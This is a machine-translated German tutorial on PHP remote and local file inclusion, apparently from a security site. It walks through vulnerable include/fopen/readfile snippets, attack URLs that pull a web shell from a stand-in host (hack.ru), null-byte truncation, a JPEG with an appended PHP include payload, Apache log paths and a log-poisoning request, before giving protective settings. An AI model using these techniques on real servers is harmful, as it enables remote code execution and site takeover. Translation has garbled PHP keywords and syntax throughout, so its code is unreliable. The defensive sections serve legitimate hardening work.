This page has been robot translated, sorry for typos if any. Original content here.

PHP-Include und Möglichkeiten zum Schutz



  • Global Includ
  • Schutz gegen globale Inclada
  • Lokale Includ
  • Apache-Protokolle
  • Schutz vor lokalen Inclada


  • Einleitung

    Global Includ

    Die gefährlichste der Schwachstellen des Internets, aber leider oder glücklicherweise ist es in unserer Zeit sehr selten. Für den Angriff muss die Funktion allow_url_include aktiviert sein, dh "On"
    Die Sicherheitslücke ermöglicht es einem Angreifer, beliebigen PHP-Code auf dem Server auszuführen.
    In PHP gibt es vier Funktionen zum Einbinden von Dateien in ein PHP-Skript:

    * include ();
    * include_once ();
    * require ();
    require_once ().

    Die Funktion include () enthält den Inhalt der Datei im Skript. Betrachten Sie ein Beispiel für einen "doppelten" anfälligen Code:
      <? php
     
      if ( $ _GET [ 'Seite' ]. '.php' )
     
      {
     
      include ( $ _GET [ 'page' ]. '.php' );
     
      }
     
      sonst
     
      {
     
      include ( $ Datei . '.php' );
     
      }
     
      ?>
    
    
    Mit der Bedingung überprüfen wir, ob das Element des Arrays $ _GET ['page'] per URL an den Server übergeben wird, und rufen die Funktion include () auf . Da der Wert des Arrays $ _GET ['page'] nicht auf Existenz überprüft wird, kann der Angreifer einen Angriff mit der Funktion file_exists () ausführen:

    http://site.ru/index.php?page=http://hack.ru/shell Ansonsten schließen wir include ein ($ file. '. php'); Hier ist die Situation die gleiche, nur den Code zu schreiben ist ein bisschen anders. Die Variable $ file ist nicht
    wurde früh festgelegt und der Angreifer kann remote php Code ausführen:
    http://site.ru/index.php?file=http://hack.ru/shell Die include_once () -Funktion ist praktisch die gleiche wie die include () , mit einer Ausnahme: Bevor Sie die Datei in das Programm aufnehmen, überprüft es nicht ob es früher enthalten war. Wenn die Datei bereits eingeschlossen wurde, wird der Aufruf von include_once () ignoriert, und wenn nicht, wird die Datei standardmäßig eingeschlossen.

    <?php
    include_once( $file . '.gif' ); ?>
    <?php
    include_once( $file . '.gif' ); ?>
    In diesem Beispiel wird die Erweiterung '.gif' automatisch der hochgeladenen Datei zugewiesen.
    Sie können die Erweiterung '.gif' auf zwei Arten entfernen:
    1) Wenn magic_quotes_gpc = Aus ist, kannst du "poison zero" -% 00 verwenden, wodurch die Erweiterung abgeschnitten wird
    http://site.ru/index.php?file=http://hack.ru/shell.php%00 2) auch wenn magic_quotes_gpc = On
    http://site.ru/index.php?file=http://hack.ru/shell.php? Die require () -Funktion ist ähnlich wie include () , außer einem - die im Parameter require () definierte Datei ist im Skript enthalten, unabhängig vom Speicherort von require () im Skript.
    <?php
    require( $file );
    ?>
    <?php
    require( $file );
    ?>
    Angriff ist ähnlich, aber in diesem Fall wird die Erweiterung nicht zugeordnet:
    http://site.ru/index.php?page=http://hack.ru/shell.php Die Funktion require_once () lädt die Datei nur einmal in das Skript.
    <?php
    require_once( $file . '.php' );
    ?>
    <?php
    require_once( $file . '.php' );
    ?>
    Angriff ist ähnlich ...

    Betrachten Sie nun eine andere Version von Includa. Diesmal ist es notwendig, dass b in der Datei php.ini steht
    Der Wert des Parameters allow_url_fopen war On , was der Standardwert ist.
    PHP-Code:
      <? php
     
      $ f = fopen ( "$ file.php" , "r" );
     
    
      während (! feof ( $ f ))
     
      {
     
      $ s = fgets ( $ f , 255 );
     
      echo $ s ;
     
      }
     
    
      fclose ( $ f );
     
      ?>
    
    
    Da die Variable $ file zuvor nicht definiert wurde, kann ein Angreifer einen Angriff ausführen:
    http://site.ru/index.php?file=http://hack.ru/shell Als Ergebnis erhalten wir wieder die Web-Shell.

    Im folgenden Beispiel wird die Funktion readfile () verwendet
    <?php
    readfile
    ( $file );
    ?>
    <?php
    readfile
    ( $file );
    ?>
    Die Funktion readfile () liest die Datei, deren Name als Parameter übergeben wird, und zeigt ihren Inhalt auf dem Bildschirm an.
    Als Ergebnis erhalten wir wieder die Web-Shell:
    http://site.ru/index.php?file=http://hack.ru/shell Betrachten Sie jetzt diese Option:

    <?php
    echo implode ( "" , file ( $file ));
    ?>
    <?php
    echo implode ( "" , file ( $file ));
    ?>
    Mit der Funktion implode () kombinieren wir die Elemente eines Arrays zu einem String, und mit der Funktion file () erhalten wir den Inhalt der Datei als Array. Als Ergebnis haben wir wieder eine Web-Shell:
    http://site.ru/index.php?file=http://hack.ru/shell.php

    Schutz gegen globale Inclada

    Natürlich können Sie die Datei mit der Funktion file_exists () überprüfen und unerwünschte Zeichen mit str_replace () herausfiltern , aber ich empfehle die Verwendung des Schalters case :

      <? php
     
      Globale $ Seite ;
     
      wechseln ( $ page )
     
      {
     
      Fall '' :
     
      include ( "Seiten / main.php" );
     
      Pause;
     
    
      Fall 'index' :
     
      include ( "Seiten / main.php" );
     
      Pause;
     
      Fall 'Seite1' :
     
      include ( "Seiten / Ordner / Seite1.php" );
     
      Pause;
     
      Fall 'Seite2' :
     
      include ( "Seiten / Ordner / Seite2.php" );
     
      Pause;
     
    
      Standard:
     
      include ( "pages / hack.php" );
     
      Pause;
     
      }
     
      ?>
    
    
    Ich empfehle auch, dass Sie die php.ini-Datei bearbeiten:

    allow_url_include = Off // Remote-Aufnahme von Dateien deaktivieren
    allow_url_fopen = Off // verbiete fopen das Öffnen von Links
    register_globals = Off // Deaktiviere die Initialisierung der globalen Variablen
    safe_mode = On // safe_mode aktivieren (der Hacker hat keinen Zugriff auf / etc / passwd und es ist wie)

    Lokale Includ

    Nicht weniger gefährliche Sicherheitslücke im Web. Ermöglicht einem Angreifer das Einfügen von Dateien auf dem Server. Viele Neueinsteiger begegnen diesem Bug der Webcodierung, weil sie nicht wissen, wie sie weiter vorgehen sollen und welchen Weg sie einschlagen sollen. Ich werde ein allgemeines Beispiel geben:
    <?php
    include( "include/$file" );
    ?>
    <?php
    include( "include/$file" );
    ?>
    Es ist nicht möglich, global aufzurufen, weil die Variable $ file nach / include /
    Was kann getan werden?

    Ideal ist der Fall, wenn die Site entweder ein Forum oder ein anderes Formular ist, mit dem Sie eine Datei mit einer beliebigen Erweiterung herunterladen können.
    Die Frage stellt sich: Warum mit irgendeiner Erweiterung? Nehmen wir zum Beispiel eine imaginäre Seite, auf der es möglich ist, einen Avatar über das Forum hochzuladen. Auf dem Forum gibt es ein Skript, das überprüft - ist der Benutzer wirklich das Foto hochgeladen? Öffne die Farbe und speichere jedes Bild zum Beispiel im JPG-Format. Dann öffne es mit einem Notizblock und schreibe nach dem Bildcode <? Php include ("http://hack.ru/shell.php"); ?> Am Ende bekommen wir so etwas:
    			
     JFIF `` SIE C           		 
     
    
                     $.  ", # (7), 01444 '9 = 82 <.342яЫ C 			  
    
      2!  222222222222222222222222222222222222222222222 22222яА 6 6 ".Д                    	
      μ μ μ}! 1A Qa "q 2Ѓ" # B ± R RCp $ 3br,	
          % & '() * 456789: CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ“... † ‡ € ‰ š'" "• - ~ ™ љўЈ¤Ґ | §O © ЄІіґμ¶ · o№єVGDEZhZIYKTUFHTsChShSchbvgd ezhziykstufhtschshschyaD                       	
      μμ μ w! 1 AQ aq "2Ѓ B" ± B # 3Rp brC
    
      $ 4b% mit & () * 56789: CDEFGHIJSTUVWXYZcdefghijstuvwxyz, ѓ "... † ‡ € ‰ Љ '" "- љўЈ¤Ґ§Ё © Є ¶¶¶ №№ВВВВВВВВВВВВВВВВВВВВВВВВВ ????????????????????????????????  ch (ўў
     (...
     (...
     (...
     (...
     (...
     (...
     (...
    
     (...
     (...
     (...
     (...
     (...
     (...
     (...
     (?ў яЩ
     <? php include ("http://hack.ru/shell.php");  ?>
    
    Nun kann ein solches Bild in das Forum hochgeladen werden und es wird genau wie ein Bild wahrgenommen
    Kehren wir zur Frage der Expansion zurück. Warum ist jemand für uns geeignet? Die Sache ist, dass die Funktion include ()
    lädt den Code von einer Datei in die ausführbare Datei. Hier ist ein Beispiel:
    http://www.site.com/index.php?include=../forum/images/shell.jpg Als Ergebnis in der index.php Datei den Code <? php include ("http://hack.ru/ shell.php "); ?>

    Apache-Protokolle

    Wie Sie wissen, protokolliert Apache die httpd-access.log und httpd-error.log und alle Anfragen
    natürlich protokolliert und in die entsprechenden Dateien geschrieben. Hier ist ihre ungefähre Position:
     /logs/error.log
     /logs/access.log
    
     / logs / Fehlerprotokoll
     / logs / Zugriffsprotokoll
    
     / var / log / Fehlerprotokoll 
     / var / log / Zugriffsprotokoll
     /var/log/error.log 
     /var/log/access.log
    
     / var / www / logs / Fehlerprotokoll
     /var/www/logs/error.log
    
     / var / www / logs / access_log
     /var/www/logs/access.log
    
     / var / log / apache / Fehlerprotokoll
     /var/log/apache/error.log
     / var / log / apache / Zugriffsprotokoll
     /var/log/apache/access.log
    
     /var/log/httpd/error.log
     /var/log/httpd/access.log
    
     / var / log / httpd / Fehlerprotokoll
     / var / log / httpd / Zugriffsprotokoll
    
     /apache/logs/error.log
     /apache/logs/access.log
     / apache / logs / Fehlerprotokoll
     / apache / logs / access_log
    
     / usr / local / apache / logs / Fehlerprotokoll
     /usr/local/apache/logs/error.log
    
     / usr / local / apache / logs / access_log
     /usr/local/apache/logs/access.log
    
     / home / www / logs / fehler_log
     /home/www/logs/error.log
     / home / www / logs / access_log
     /home/www/logs/access.log
    
    Ich gebe ein Beispiel auf localhost, ich denke, es wird viel klarer sein. Mit Hilfe des Programms InetCrack sende ich ein Paket mit diesem Inhalt:
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    Der Paket-Header wird in die Apache-Logs geschrieben, die sich befinden unter:
    Z:\usr\local\apache\logs\access.log Ich habe diese Zeile in diese Datei geschrieben:
    127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414 Ich denke, die Essenz ist klar. Es bleibt uns, es zu injizieren:
    http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log Und holen Sie sich die Web-Shell :)

    Schutz vor lokalen Inclada

    Hier ein kleines Beispiel, wie Sie sich zuverlässig schützen können:
      <? php
     
    


    Funktion stripslashes_for_array (& $ -Array )
    {
    Zurücksetzen ( $ array );
    while (Liste ( $ key , $ val ) = jeder ( $ array ))
    {
    if ( is_string ( $ val )) $ array [ $ key ] = stripeslashes ( $ val );
    elseif ( is_array ( $ val )) $ array [ $ schlüssel ] = stripslashes_for_array ( $ val );
    }
    Rückgabe $ Array ;
    }

    if (! get_magic_quotes_gpc ())
    {
    stripslashes_for_array ( $ _POST );
    stripslashes_for_array ( $ _GET );
    }

    if (isset ( $ _GET [ 'Datei' ]))) $ file = $ _GET [ 'Datei' ];
    sonst
    {
    if (isset ( $ _POST [ 'Datei' ]))) $ file = $ _POST [ 'Datei' ]; sonst $ file = '' ; } $ file = str_replace ( '/' , '' , $ Datei ); $ file = str_replace ( '.' , '' , $ Datei ); if (! file_exists ( "include" . '/' . $ datei . '.php' ) || $ file == 'index' ) { $ Datei = 'Nachrichten' ; } include ( "include" . '/' . $ datei . '.php' ); ?>

    Also, was ist hier los? Jedes Element des Arrays wird durch stripslashes () überprüft. Sie tötet Backslashes. Als nächstes prüfen wir, ob der Wert des Array-Elements gesetzt ist oder nicht. Wir filtern die ungültigen Zeichen (' / ', ' . ') Mit str_replace () . Wenn die Datei nicht existiert (prüfen Sie mit der Funktion file_exists () ) - weisen Sie den Wert der Variablen $ file = 'news' zu. In anderen Fällen (wenn die Datei existiert), fügen wir sie hinzu.